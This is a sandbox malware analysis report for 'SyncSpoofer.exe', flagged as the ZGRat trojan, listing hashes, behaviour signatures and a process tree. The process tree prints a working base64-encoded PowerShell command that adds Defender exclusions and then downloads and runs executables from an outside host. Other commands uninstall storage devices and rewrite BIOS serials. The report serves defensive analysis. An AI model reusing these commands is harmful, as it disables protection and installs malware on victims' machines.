Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

HWID SyncSpoofer.rar

windows7-x64

3

HWID SyncSpoofer.rar

windows10-2004-x64

7

SyncSpoofer.exe

windows7-x64

10

SyncSpoofer.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/05/2024, 13:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SyncSpoofer.exe

  • Size

    2.5MB

  • MD5

    10c51aa1fc224b93206f1083082f02be

  • SHA1

    584d370ec990a36e6b0b8920aa2a31975ef1d5c6

  • SHA256

    f4e72d601237b4b9c807bb10eda596cb25912b6447db75f9d554b3398133fc79

  • SHA512

    411febdaefc44f711dcf926c576ff519062e5eb854f606770f730426fa6a586c9e4fc6a7c3c523255cdaf02c721afb52d20b1e0d498baa029d5df8ca04429274

  • SSDEEP

    49152:ucvAvIUj4MlR9zMKwS/R0Tg5iWzu659A6/q7fUn9ZTF/cYFylcJD2uxN:ucvAgUh/9Pgv659A6y7fUn9ZTF/NF9z

Score
10/10
zgratevasionexecutionpersistenceratspywarestealer

Malware Config

Signatures

  • Detect ZGRat V1 3 IoCs
  • Process spawned unexpected child process 15 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Nirsoft 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 30 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Maps connected drives based on registry 3 TTPs 64 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\SyncSpoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\SyncSpoofer.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZwBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdgBhAHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZABoAGYAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABuAHkAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBIAHAAcwByAFMAcABvAG8AZgAuAGUAeABlACcALAAgADwAIwBqAHMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAaAB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEgAcABzAHIAUwBwAG8AbwBmAC4AZQB4AGUAJwApACkAPAAjAHAAaABhACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHMAcABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAHQAZwBrACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaQB5AGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAYwBrAHYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBwAGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAaQB0AGUAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAG0ALwBjAG8AbgBoAG8AcwB0AHMAZgB0AC4AZQB4AGUAJwAsACAAPAAjAHUAawBmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZgBjAHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawB5AGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYwBvAG4AaABvAHMAdABzAGYAdAAuAGUAeABlACcAKQApADwAIwBjAGcAcgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAGkAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcQBlAGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABwAHMAcgBTAHAAbwBvAGYALgBlAHgAZQAnACkAPAAjAGsAcABuACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAagBsACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBpAHoAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHAAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAeAByAHEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcAByAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcgBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGMAbwBuAGgAbwBzAHQAcwBmAHQALgBlAHgAZQAnACkAPAAjAHIAeAB3ACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe
        "C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of WriteProcessMemory
        PID:312
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: T7UM-FFL6
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3268
          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
            C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: T7UM-FFL6
            5⤵
            • Executes dropped EXE
            PID:2600
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Disk.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1504
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4884
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk drive*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4092
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "C:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3776
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "D:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2060
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "E:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2612
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "F:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:952
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "G:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2352
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4204
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "disk"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1988
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk&*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2156
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "SWD\WPDBUSENUM*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1912
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "USBSTOR*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4260
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "SCSI\Disk*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3060
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "STORAGE*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:464
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4032
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4708
          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 31038HP-TRGT28281AB
            5⤵
            • Executes dropped EXE
            PID:4820
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1236
          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 231038HP-TRGT28281RV
            5⤵
            • Executes dropped EXE
            PID:3100
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
          4⤵
            PID:4568
            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 831038HP-TRGT28281SG
              5⤵
              • Executes dropped EXE
              PID:4012
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
            4⤵
              PID:1672
              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                5⤵
                • Executes dropped EXE
                PID:4168
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
              4⤵
                PID:3836
                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 531041HP-TRGT6262SL
                  5⤵
                  • Executes dropped EXE
                  PID:2920
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
                4⤵
                  PID:3848
                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 431041HP-TRGT6262FA
                    5⤵
                    • Executes dropped EXE
                    PID:3420
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
                  4⤵
                    PID:3316
                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 631041HP-TRGT6262FU
                      5⤵
                      • Executes dropped EXE
                      PID:4600
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
                    4⤵
                      PID:408
                      • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                        C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 331041HP-TRGT6262DQ
                        5⤵
                        • Executes dropped EXE
                        PID:2188
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
                      4⤵
                        PID:532
                        • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                          C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 731044HP-TRGT17010MST
                          5⤵
                          • Executes dropped EXE
                          PID:3240
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                        4⤵
                          PID:1116
                          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                            5⤵
                            • Executes dropped EXE
                            PID:4336
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
                          4⤵
                            PID:2284
                            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 31061HP-TRGT5216AB
                              5⤵
                              • Executes dropped EXE
                              PID:4880
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
                            4⤵
                              PID:380
                              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 231061HP-TRGT5216RV
                                5⤵
                                • Executes dropped EXE
                                PID:2704
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
                              4⤵
                                PID:1856
                                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 831061HP-TRGT5216SG
                                  5⤵
                                  • Executes dropped EXE
                                  PID:4144
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                4⤵
                                  PID:1728
                                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                    5⤵
                                    • Executes dropped EXE
                                    PID:3848
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
                                  4⤵
                                    PID:2236
                                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 531064HP-TRGT15965SL
                                      5⤵
                                      • Executes dropped EXE
                                      PID:752
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
                                    4⤵
                                      PID:1192
                                      • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                        C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 431064HP-TRGT15965FA
                                        5⤵
                                        • Executes dropped EXE
                                        PID:2112
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
                                      4⤵
                                        PID:2960
                                        • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                          C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 631067HP-TRGT26713FU
                                          5⤵
                                          • Executes dropped EXE
                                          PID:628
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
                                        4⤵
                                          PID:1276
                                          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 331067HP-TRGT26713DQ
                                            5⤵
                                            • Executes dropped EXE
                                            PID:1804
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
                                          4⤵
                                            PID:4820
                                            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 731067HP-TRGT26713MST
                                              5⤵
                                              • Executes dropped EXE
                                              PID:3828
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                            4⤵
                                              PID:3316
                                              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                                5⤵
                                                • Executes dropped EXE
                                                PID:5012
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
                                              4⤵
                                                PID:4212
                                                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 31080HP-TRGT4171AB
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:2112
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
                                                4⤵
                                                  PID:3848
                                                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 231083HP-TRGT14919RV
                                                    5⤵
                                                    • Executes dropped EXE
                                                    PID:1632
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
                                                  4⤵
                                                    PID:2168
                                                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 831083HP-TRGT14919SG
                                                      5⤵
                                                      • Executes dropped EXE
                                                      PID:2908
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                                    4⤵
                                                      PID:616
                                                      • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                        C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:5032
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
                                                      4⤵
                                                        PID:2236
                                                        • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                          C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 531083HP-TRGT14919SL
                                                          5⤵
                                                          • Executes dropped EXE
                                                          PID:3456
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
                                                        4⤵
                                                          PID:1572
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            5⤵
                                                              PID:4204
                                                            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 431083HP-TRGT14919FA
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:3364
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
                                                            4⤵
                                                              PID:4272
                                                              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 631083HP-TRGT14919FU
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:4552
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
                                                              4⤵
                                                                PID:3212
                                                                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 331083HP-TRGT14919DQ
                                                                  5⤵
                                                                  • Executes dropped EXE
                                                                  PID:3800
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
                                                                4⤵
                                                                  PID:4392
                                                                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 731083HP-TRGT14919MST
                                                                    5⤵
                                                                    • Executes dropped EXE
                                                                    PID:2948
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                                                  4⤵
                                                                    PID:4100
